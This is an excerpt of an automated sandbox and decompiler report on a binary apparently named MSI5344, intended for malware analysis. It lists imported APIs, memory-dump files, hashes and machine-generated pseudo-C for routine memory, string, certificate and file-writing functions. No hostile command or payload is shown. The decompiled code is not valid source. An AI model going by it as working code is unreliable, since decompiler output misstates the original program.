Instruction Fuzzy Hash: BD219665707A8284EF48EB69D4883A8A2A6DF48B44FD05832DA5C07374DF7DD4D4C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D17B0 Relevance: 6.1, APIs: 4, Instructions: 65encryptionCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32 ref: 00007FF7AF6D17F6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D1837
CertFreeCertificateContext.CRYPT32 ref: 00007FF7AF6D1862
LocalFree.KERNEL32 ref: 00007FF7AF6D1879

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Free$Local$CertCertificateContext_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 976693150-0
Opcode ID: edf3058cc5b2eec1620ceefe14a9fe0439fd79421e98c7dfae0aa8bed6f3066e
Instruction ID: a690c9fafa1e0790fc9c984c2ecf0caed00a7ffd1136232a25a45d7a69d38b31
Opcode Fuzzy Hash: edf3058cc5b2eec1620ceefe14a9fe0439fd79421e98c7dfae0aa8bed6f3066e
Instruction Fuzzy Hash: 8021B036A06BC685FB48DF29E5443A8A361EB48B88F999531CB5D07762DF7CE4E0C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D2430 Relevance: 6.1, APIs: 4, Instructions: 60memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LocalAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7AF6D24A0), ref: 00007FF7AF6D2460
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AF6D249B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D24A1
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00007FF7AF6D1F6F), ref: 00007FF7AF6D24EF

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Local$AllocConcurrency::cancel_current_taskFree_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 4101084277-0
Opcode ID: db1cbf54cbf78f45dc83a41014b748245934f2a710fbb4628110ba660519e9a0
Instruction ID: 1abd0c2f35e14005fa1bb94a9785556e0465b011f7e0ac37243dc957ddea80df
Opcode Fuzzy Hash: db1cbf54cbf78f45dc83a41014b748245934f2a710fbb4628110ba660519e9a0
Instruction Fuzzy Hash: 4B11A3A1F07A8640EE48AB25D4483B8A2969F48BB4FD15B35DA3C063F4EE2C94E18310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6E0E10 Relevance: 6.1, APIs: 4, Instructions: 54fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF7AF6E0E50
SetFilePointer.KERNEL32 ref: 00007FF7AF6E0E76
WriteFile.KERNEL32 ref: 00007FF7AF6E0EB5
CloseHandle.KERNEL32 ref: 00007FF7AF6E0EC9

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID:
API String ID: 3604237281-0
Opcode ID: be0b70ff9acdeec1a22097b2a85214a19cc2d9151ae2a220cb8faec33f59f8a0
Instruction ID: c23191c6218d6a4c7c63ec0cd3212a54861270ddc937ab16d5efef9ff48c801a
Opcode Fuzzy Hash: be0b70ff9acdeec1a22097b2a85214a19cc2d9151ae2a220cb8faec33f59f8a0
Instruction Fuzzy Hash: D7215336609B91C6E724DF21F4046AAB7A5FB88B84F954235EB8903B28CF3DD555CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6DA290 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 186
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E00007FF77FF7AF6DA290(void* __ecx, long long __rbx, long long __rcx, intOrPtr* __rdx, void* __r8, long long _a32) {
				signed int _v72;
				signed long long _v80;
				signed long long _v88;
				signed long long _v104;
				char _v120;
				char _v136;
				long long _v144;
				char _v152;
				void* __rsi;
				void* __rbp;
				void* _t70;
				void* _t72;
				signed long long _t94;
				signed long long _t95;
				long long _t96;
				intOrPtr _t97;
				signed long long _t99;
				signed long long** _t103;
				long long* _t111;
				signed long long _t118;
				intOrPtr _t119;
				void* _t126;
				void* _t131;
				long long* _t136;
				signed long long* _t139;
				signed long long _t140;
				signed long long _t144;
				signed long long _t147;
				void* _t149;
				void* _t155;
				intOrPtr* _t162;
				void* _t163;
				signed long long _t165;
				signed long long _t166;
				intOrPtr _t167;
				void* _t168;

				_t72 = __ecx;
				_a32 = __rbx;
				_t94 =  *0xaf751030; // 0xa13e9e6732fb
				_t95 = _t94 ^ _t149 - 0x00000080;
				_v72 = _t95;
				_t163 = __r8;
				_t162 = __rdx;
				_t103 = __rcx;
				if ( *((intOrPtr*)(__rcx)) ==  *((intOrPtr*)(__rcx + 8))) goto 0xaf6da2dc;
				E00007FF77FF7AF6D13D0(__rcx,  *((intOrPtr*)(__rcx)),  *((intOrPtr*)(__rcx + 8)), _t140);
				_t136 =  *((intOrPtr*)(__rcx));
				 *((long long*)(__rcx + 8)) = _t136;
				_t167 =  *((intOrPtr*)(__rdx + 8));
				if (_t167 == 0) goto 0xaf6da503;
				asm("inc ecx");
				asm("movaps [ebp-0x50], xmm0");
				asm("inc ecx");
				asm("movaps [ebp-0x40], xmm1");
				E00007FF77FF7AF6DA540(_t95, __rcx,  &_v120,  &_v136, _t140, _t149, _t140);
				_t165 =  ==  ? 0xffffffff : _t95;
				if (_t165 == 0xffffffff) goto 0xaf6da3b1;
				if (_t167 - _t140 < 0) goto 0xaf6da530;
				_t155 = _t165 - _t140;
				_t126 = _t167 - _t140;
				_t96 =  *_t162;
				_v152 = _t96 + _t140 * 2;
				_t156 =  <  ? _t126 : _t155;
				_v144 =  <  ? _t126 : _t155;
				if (_t136 ==  *((intOrPtr*)(_t103 + 0x10))) goto 0xaf6da392;
				 *_t136 = _t96;
				 *((long long*)(_t136 + 0x10)) = _t96;
				 *((long long*)(_t136 + 0x18)) = 7;
				E00007FF77FF7AF6D2000(_t103, _t136, _v152, _t140, _t149, _v144);
				 *((long long*)(_t103 + 8)) =  *((long long*)(_t103 + 8)) + 0x20;
				goto 0xaf6da300;
				_t111 = _t103;
				E00007FF77FF7AF6DB0C0(_t111,  *((intOrPtr*)(_t103 + 8)), _t149,  &_v152);
				_t144 =  *((intOrPtr*)(_t163 + 8)) + _t165;
				goto 0xaf6da300;
				r14d = 0;
				_v104 = _t165;
				_v88 = _t165;
				_v80 = _t165;
				_v88 = _t165;
				_v80 = 7;
				_v104 = r14w;
				if (_t144 == 0) goto 0xaf6da3f7;
				if (_t167 - _t144 < 0) goto 0xaf6da536;
				_t168 = _t167 - _t144;
				_t112 =  <  ? _t168 : _t111;
				_t97 =  *_t162;
				_t159 =  <  ? _t168 : _t111;
				goto 0xaf6da40f;
				asm("inc ecx");
				asm("movdqa xmm0, xmm1");
				asm("psrldq xmm0, 0x8");
				asm("dec cx");
				asm("dec ax");
				E00007FF77FF7AF6D2000(_t103,  &_v104, _t97 + _t144 * 2, _t144, _t149,  <  ? _t168 : _t111);
				_t139 =  *((intOrPtr*)(_t103 + 8));
				if (_t139 ==  *((intOrPtr*)(_t103 + _t97))) goto 0xaf6da4a5;
				 *_t139 = _t165;
				_t139[2] = _t165;
				_t139[3] = _t165;
				_t166 = _v88;
				_t170 =  >=  ? _v104 :  &_v104;
				if (_t166 - 8 >= 0) goto 0xaf6da459;
				asm("inc ecx");
				asm("movups [edi], xmm0");
				goto 0xaf6da493;
				_t147 =  >  ? 0xfffffffe : _t166 | 0x00000007;
				E00007FF77FF7AF6D2430(_t147 + 1);
				 *_t139 = 0xfffffffe;
				_t131 =  >=  ? _v104 :  &_v104;
				E00007FF77FF7AF70AFB0();
				_t139[2] = _t166;
				_t139[3] = _t147;
				 *((long long*)(_t103 + 8)) =  *((long long*)(_t103 + 8)) + 0x20;
				r14d = 0;
				goto 0xaf6da4b5;
				E00007FF77FF7AF6D3B20(_t103, _t139,  &_v104);
				_t99 = _v80;
				if (_t99 - 8 < 0) goto 0xaf6da4f2;
				_t118 = _v104;
				if (2 + _t99 * 2 - 0x1000 < 0) goto 0xaf6da4e7;
				_t119 =  *((intOrPtr*)(_t118 - 8));
				if (_t118 - _t119 - 8 - 0x1f > 0) goto 0xaf6da52a;
				if (_t119 == 0) goto 0xaf6da4f2;
				_t70 = LocalFree(??);
				_v88 = _t166;
				_v80 = 7;
				_v104 = r14w;
				return E00007FF77FF7AF708B70(_t70, _t72, _v72 ^ _t149 - 0x00000080);
			}

0x7ff7af6da290
0x7ff7af6da290
0x7ff7af6da2aa
0x7ff7af6da2b1
0x7ff7af6da2b4
0x7ff7af6da2b8
0x7ff7af6da2bb
0x7ff7af6da2be
0x7ff7af6da2cb
0x7ff7af6da2d0
0x7ff7af6da2d5
0x7ff7af6da2d8
0x7ff7af6da2dc
0x7ff7af6da2e4
0x7ff7af6da2ec
0x7ff7af6da2f1
0x7ff7af6da2f5
0x7ff7af6da2fa
0x7ff7af6da30b
0x7ff7af6da31d
0x7ff7af6da324
0x7ff7af6da32d
0x7ff7af6da336
0x7ff7af6da33c
0x7ff7af6da33f
0x7ff7af6da347
0x7ff7af6da34e
0x7ff7af6da352
0x7ff7af6da35a
0x7ff7af6da35e
0x7ff7af6da361
0x7ff7af6da365
0x7ff7af6da378
0x7ff7af6da37d
0x7ff7af6da38d
0x7ff7af6da399
0x7ff7af6da39c
0x7ff7af6da3a9
0x7ff7af6da3ac
0x7ff7af6da3b1
0x7ff7af6da3b4
0x7ff7af6da3b8
0x7ff7af6da3bc
0x7ff7af6da3c0
0x7ff7af6da3c4
0x7ff7af6da3cc
0x7ff7af6da3d4
0x7ff7af6da3d9
0x7ff7af6da3df
0x7ff7af6da3e6
0x7ff7af6da3ea
0x7ff7af6da3f2
0x7ff7af6da3f5
0x7ff7af6da3f7
0x7ff7af6da3fc
0x7ff7af6da400
0x7ff7af6da405
0x7ff7af6da40a
0x7ff7af6da413
0x7ff7af6da420
0x7ff7af6da428
0x7ff7af6da42a
0x7ff7af6da42d
0x7ff7af6da431
0x7ff7af6da435
0x7ff7af6da442
0x7ff7af6da44b
0x7ff7af6da44d
0x7ff7af6da451
0x7ff7af6da457
0x7ff7af6da46d
0x7ff7af6da478
0x7ff7af6da47d
0x7ff7af6da488
0x7ff7af6da48e
0x7ff7af6da493
0x7ff7af6da497
0x7ff7af6da49b
0x7ff7af6da4a0
0x7ff7af6da4a3
0x7ff7af6da4af
0x7ff7af6da4b5
0x7ff7af6da4bd
0x7ff7af6da4c7
0x7ff7af6da4d4
0x7ff7af6da4d6
0x7ff7af6da4e5
0x7ff7af6da4ea
0x7ff7af6da4ec
0x7ff7af6da4f2
0x7ff7af6da4f6
0x7ff7af6da4fe
0x7ff7af6da529

APIs

Part of subcall function 00007FF7AF6D2430: LocalAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7AF6D24A0), ref: 00007FF7AF6D2460

Part of subcall function 00007FF7AF6D3B20: LocalAlloc.KERNEL32 ref: 00007FF7AF6D3BC5

LocalFree.KERNEL32 ref: 00007FF7AF6DA4EC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6DA52A

Strings

, xrefs: 00007FF7AF6DA49B

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: Local$Alloc$Free_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 4130619650-3916222277
Opcode ID: 58d569b8750271d80149c97b15333f40d2bad4180d2c87ea0fb0f4e1d74d48f1
Instruction ID: f93e54f521b39e3539ad022ce5a0697be02748108bb23f6cf4d8113d2238ef4a
Opcode Fuzzy Hash: 58d569b8750271d80149c97b15333f40d2bad4180d2c87ea0fb0f4e1d74d48f1
Instruction Fuzzy Hash: B671F522B1AF9181EB00EF61D9442ECA376BB04B98F419232CF5D27B95DF38E4A1C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF70156C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 177
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E00007FF77FF7AF70156C(int __ecx, void* __edi, void* __esp, long long __rbx, intOrPtr* __rcx, signed int __rdx, long long __rsi, long long __rbp, long long __r8, void* _a4, void* _a12, long long _a16, void* _a20, long long _a24, long long _a32) {
				intOrPtr _v4;
				short _v28;
				long long _v36;
				int _t20;
				intOrPtr _t45;
				intOrPtr _t62;

				_a16 = __rbx;
				_a24 = __rbp;
				_a32 = __rsi;
				_t62 =  *((intOrPtr*)(__rcx + 0x10));
				if (_t62 - __rdx < 0) goto 0xaf70161a;
				_t45 =  *((intOrPtr*)(__rcx + 0x18));
				if (__r8 - _t45 - _t62 > 0) goto 0xaf7015e8;
				 *((long long*)(__rcx + 0x10)) = _t62 + __r8;
				if (_t45 - 8 < 0) goto 0xaf7015ba;
				E00007FF77FF7AF70AFB0();
				if (__r8 == 0) goto 0xaf7015e3;
				memset(__edi, _t20, __ecx);
				goto 0xaf701605;
				r8b = _v4;
				_v28 = r9w & 0xffffffff;
				_v36 = __r8;
				return E00007FF77FF7AF6EA8C4(0, __rcx, __rcx, __r8, __rbp,  *__rcx + __rdx * 2);
			}

0x7ff7af70156c
0x7ff7af701571
0x7ff7af701576
0x7ff7af701587
0x7ff7af701591
0x7ff7af701597
0x7ff7af7015a4
0x7ff7af7015aa
0x7ff7af7015b5
0x7ff7af7015d0
0x7ff7af7015d8
0x7ff7af7015e0
0x7ff7af7015e6
0x7ff7af7015e8
0x7ff7af7015f3
0x7ff7af7015fb
0x7ff7af701619

APIs

SimpleString::operator=.MSOBJ140-MSVCRT ref: 00007FF7AF701678

Strings

/t, xrefs: 00007FF7AF70173C

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: SimpleString::operator=
String ID: /t
API String ID: 356670603-2705660372
Opcode ID: 35b44a256fd6326abc6cf44c5e5c2ae6d6a6ca57e168ef0bee6b5242acfc60ca
Instruction ID: 9efb69b2a42bd3d4eea452bdd4f37824815c198499f074854948e66208ca10d5
Opcode Fuzzy Hash: 35b44a256fd6326abc6cf44c5e5c2ae6d6a6ca57e168ef0bee6b5242acfc60ca
Instruction Fuzzy Hash: 7471DE66F0ABD481FB00AB65D8403EDA761EB48BD4F994231DB5C07BA6DF78E491C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D9C13 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00007FF77FF7AF6D9C13(void* __rbx, void* __rcx, void* __rdx, long long* __rdi, long long __rsi, long long __rbp, void* __r12, void* __r14, long long __r15, long long _a64, long long _a72, long long _a80, void* _a88, void* _a96) {
				void* _t26;
				long long _t36;
				long long _t42;
				intOrPtr _t43;
				unsigned long long _t49;
				intOrPtr _t53;
				signed long long _t58;
				signed long long _t69;
				signed long long _t81;

				_a64 = __rbp;
				_t69 =  *((intOrPtr*)(__rcx + 0x18));
				_a72 = __rsi;
				_a80 = __r15;
				_t81 = __r14 + __rdx;
				_t58 = _t81 | 0x00000007;
				if (_t58 - __rbx > 0) goto 0xaf6d9c55;
				_t49 = _t69 >> 1;
				if (_t69 - __rbx - _t49 > 0) goto 0xaf6d9c55;
				_t36 = _t49 + _t69;
				_t42 =  <  ? _t36 : _t58;
				E00007FF77FF7AF6D2430(_t42 + 1);
				 *(__rdi + 0x10) = _t81;
				 *((long long*)(__rdi + 0x18)) = _t42;
				if (_t69 - 8 < 0) goto 0xaf6d9cd1;
				_t43 =  *((intOrPtr*)(__rdi));
				E00007FF77FF7AF70AFB0();
				E00007FF77FF7AF70AFB0();
				if (2 + _t69 * 2 - 0x1000 < 0) goto 0xaf6d9cc1;
				_t53 =  *((intOrPtr*)(_t43 - 8));
				if (_t43 - _t53 - 8 - 0x1f > 0) goto 0xaf6d9d13;
				if (_t53 == 0) goto 0xaf6d9ce9;
				_t26 = LocalFree(??);
				goto 0xaf6d9ce9;
				E00007FF77FF7AF70AFB0();
				E00007FF77FF7AF70AFB0();
				 *__rdi = _t36;
				return _t26;
			}

0x7ff7af6d9c13
0x7ff7af6d9c18
0x7ff7af6d9c1c
0x7ff7af6d9c21
0x7ff7af6d9c26
0x7ff7af6d9c2d
0x7ff7af6d9c34
0x7ff7af6d9c3c
0x7ff7af6d9c45
0x7ff7af6d9c47
0x7ff7af6d9c51
0x7ff7af6d9c5c
0x7ff7af6d9c6a
0x7ff7af6d9c71
0x7ff7af6d9c80
0x7ff7af6d9c82
0x7ff7af6d9c85
0x7ff7af6d9c98
0x7ff7af6d9cab
0x7ff7af6d9cad
0x7ff7af6d9cbc
0x7ff7af6d9cc4
0x7ff7af6d9cc9
0x7ff7af6d9ccf
0x7ff7af6d9cd1
0x7ff7af6d9ce4
0x7ff7af6d9ce9
0x7ff7af6d9d0c

APIs

LocalFree.KERNEL32 ref: 00007FF7AF6D9CC9

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/, xrefs: 00007FF7AF6D9DB1

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: FreeLocal
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
API String ID: 2826327444-1713319389
Opcode ID: 75417a041e3e9c683f910516d7c5996ca89ecf99fa8f599c2dbe7c066457322e
Instruction ID: 210b716229d28639e7035d76a4ccbc98a99c32330a510e0e103570b08ad080f7
Opcode Fuzzy Hash: 75417a041e3e9c683f910516d7c5996ca89ecf99fa8f599c2dbe7c066457322e
Instruction Fuzzy Hash: D041887660AAC189EA00AF1AE5442E9F7B5FB48BC0F994132DB8D07765DF3CD162C320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF7252A4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 58%

			E00007FF77FF7AF7252A4(void* __ebx, void* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rsi, long long __r8, void* __r9, void* __r10, long long _a8, long long _a16) {
				char _v16;
				intOrPtr _v32;
				char _v40;
				signed long long _v48;
				signed long long _v56;
				intOrPtr _v64;
				long long _v72;
				void* _t28;
				void* _t29;
				long long _t57;

				_t29 = __ebx;
				_a8 = __rbx;
				_a16 = __rsi;
				_t57 = __r8;
				if (E00007FF77FF7AF729648(__rax, __r9, __rdx, __rdx, __r8, __rcx, __r9) != 0) goto 0xaf725371;
				E00007FF77FF7AF70F850(__rax, __r9,  &_v40, __rdx, __r8);
				if ( *((intOrPtr*)(_v32 + 0xc)) != 0xfde9) goto 0xaf725304;
				if (_v16 == 0) goto 0xaf72533b;
				 *(_v40 + 0x3a8) =  *(_v40 + 0x3a8) & 0xfffffffd;
				goto 0xaf72533b;
				_t28 = E00007FF77FF7AF7248A4(_v16, _v40);
				if (_t28 != 0) goto 0xaf725326;
				if (_v16 == _t28) goto 0xaf72531f;
				 *(_v40 + 0x3a8) =  *(_v40 + 0x3a8) & 0xfffffffd;
				goto 0xaf72533b;
				if (_v16 == 0) goto 0xaf725339;
				 *(_v40 + 0x3a8) =  *(_v40 + 0x3a8) & 0xfffffffd;
				_v48 = _v48 & 0x00000000;
				r9d = _t29;
				_v56 = _v56 & 0x00000000;
				_v64 = 0x3f;
				_v72 = _t57;
				E00007FF77FF7AF727714();
				return _t28;
			}

0x7ff7af7252a4
0x7ff7af7252a4
0x7ff7af7252a9
0x7ff7af7252b6
0x7ff7af7252d0
0x7ff7af7252db
0x7ff7af7252ed
0x7ff7af7252f4
0x7ff7af7252fb
0x7ff7af725302
0x7ff7af725304
0x7ff7af72530b
0x7ff7af725311
0x7ff7af725318
0x7ff7af725324
0x7ff7af72532b
0x7ff7af725332
0x7ff7af72533b
0x7ff7af725341
0x7ff7af725344
0x7ff7af72534d
0x7ff7af725357
0x7ff7af72535c
0x7ff7af725370

APIs

Part of subcall function 00007FF7AF729648: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7AF72967B

_get_daylight.LIBCMT ref: 00007FF7AF7253BC
_get_daylight.LIBCMT ref: 00007FF7AF7253CD

Strings

?, xrefs: 00007FF7AF72534D

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337123372.00007FF7AF751000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.337131291.00007FF7AF756000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7af6d0000_MSI5344.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: c5164196f217afb32868e751223b11555c0a51e31bdc3a07f00e1b92638e8669
Instruction ID: 144276ce5e82630c4e38795bb0d31bed94768989f409e579b0bebc5fae57f084
Opcode Fuzzy Hash: c5164196f217afb32868e751223b11555c0a51e31bdc3a07f00e1b92638e8669
Instruction Fuzzy Hash: 42412A2AA1A2C142FB24AB25AC413F9D690EF88BA4FD54235EE5C07AF6DF3CD441C710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7AF6D36F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00007FF77FF7AF6D36F0(long long __rbx, void* __rdx, long long __rsi, long long __rbp, long long __r12) {
				long long _v8;
				long long _v16;
				long long _v24;
				long long _v32;
				void* _t40;
				long long _t45;
				long long _t53;
				long long* _t57;
				unsigned long long _t59;
				intOrPtr _t62;
				void* _t64;
				signed long long _t66;
				long long* _t71;
				long long _t74;
				signed long long _t77;
				signed long long _t85;
				intOrPtr _t88;
				void* _t89;
				void* _t91;

				_t64 = __rdx;
				_t57 = "invalid string position";
				E00007FF77FF7AF6E1F98(_t40, _t57);
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_v8 = __rbx;
				_t88 =  *((intOrPtr*)(_t57 + 0x10));
				r15d = r9w & 0xffffffff;
				_t71 = _t57;
				if (0xfffffffe - _t88 - _t64 < 0) goto 0xaf6d382f;
				_v32 = __rbp;
				_t77 =  *((intOrPtr*)(_t57 + 0x18));
				_v24 = __rsi;
				_v16 = __r12;
				_t85 = _t88 + _t64;
				_t66 = _t85 | 0x00000007;
				if (_t66 - 0xfffffffe > 0) goto 0xaf6d3784;
				_t59 = _t77 >> 1;
				if (_t77 - 0xfffffffe - _t59 > 0) goto 0xaf6d3784;
				_t45 = _t59 + _t77;
				_t9 = ( <  ? _t45 : _t66) + 1; // 0x7fffffffffffffff
				E00007FF77FF7AF6D2430(_t9);
				_t89 = _t88 + _t88;
				 *(_t71 + 0x10) = _t85;
				_t74 = _t45;
				 *((long long*)(_t71 + 0x18)) =  <  ? _t45 : _t66;
				if (_t77 - 8 < 0) goto 0xaf6d37fb;
				_t53 =  *_t71;
				E00007FF77FF7AF70AFB0();
				 *((intOrPtr*)(_t89 + _t74)) = r15w;
				 *((short*)(_t89 + _t74 + 2)) = 0;
				if (2 + _t77 * 2 - 0x1000 < 0) goto 0xaf6d37eb;
				_t62 =  *((intOrPtr*)(_t53 - 8));
				_t19 = _t53 - _t62 - 8; // 0x7ffffffffffffff6
				if (_t19 - 0x1f > 0) goto 0xaf6d3835;
				if (_t62 == 0) goto 0xaf6d3810;
				LocalFree(_t91);
				goto 0xaf6d3810;
				E00007FF77FF7AF70AFB0();
				 *((intOrPtr*)(_t89 + _t74)) = r15w;
				 *((short*)(_t89 + _t74 + 2)) = 0;
				 *_t71 = _t74;
				return 0;
			}

0x7ff7af6d36f0
0x7ff7af6d36f4
0x7ff7af6d36fb
0x7ff7af6d3700
0x7ff7af6d3701
0x7ff7af6d3702
0x7ff7af6d3703
0x7ff7af6d3704
0x7ff7af6d3705
0x7ff7af6d3706
0x7ff7af6d3707
0x7ff7af6d3708
0x7ff7af6d3709
0x7ff7af6d370a
0x7ff7af6d370b
0x7ff7af6d370c
0x7ff7af6d370d
0x7ff7af6d370e
0x7ff7af6d370f
0x7ff7af6d3710
0x7ff7af6d371e
0x7ff7af6d372f
0x7ff7af6d3736
0x7ff7af6d373c
0x7ff7af6d3742
0x7ff7af6d3747
0x7ff7af6d374b
0x7ff7af6d3750
0x7ff7af6d3755
0x7ff7af6d375c
0x7ff7af6d3763
0x7ff7af6d376b
0x7ff7af6d3774
0x7ff7af6d3776
0x7ff7af6d3784
0x7ff7af6d378b
0x7ff7af6d3790
0x7ff7af6d3793
0x7ff7af6d379c
0x7ff7af6d379f
0x7ff7af6d37ad
0x7ff7af6d37af
0x7ff7af6d37b5
0x7ff7af6d37bc
0x7ff7af6d37c1
0x7ff7af6d37d5
0x7ff7af6d37d7
0x7ff7af6d37de
0x7ff7af6d37e6
0x7ff7af6d37ee
0x7ff7af6d37f3
0x7ff7af6d37f9
0x7ff7af6d37fe
0x7ff7af6d3805
0x7ff7af6d380a
0x7ff7af6d3810
0x7ff7af6d382e

APIs

LocalFree.KERNEL32 ref: 00007FF7AF6D37F3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AF6D3835

Strings

invalid string position, xrefs: 00007FF7AF6D36F4

Memory Dump Source

Source File: 00000003.00000002.336575215.00007FF7AF6D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7AF6D0000, based on PE: true

Associated: 00000003.00000002.336564384.00007FF7AF6D0000.00000002.00000001.01000000.00000003.sdmpDownload File
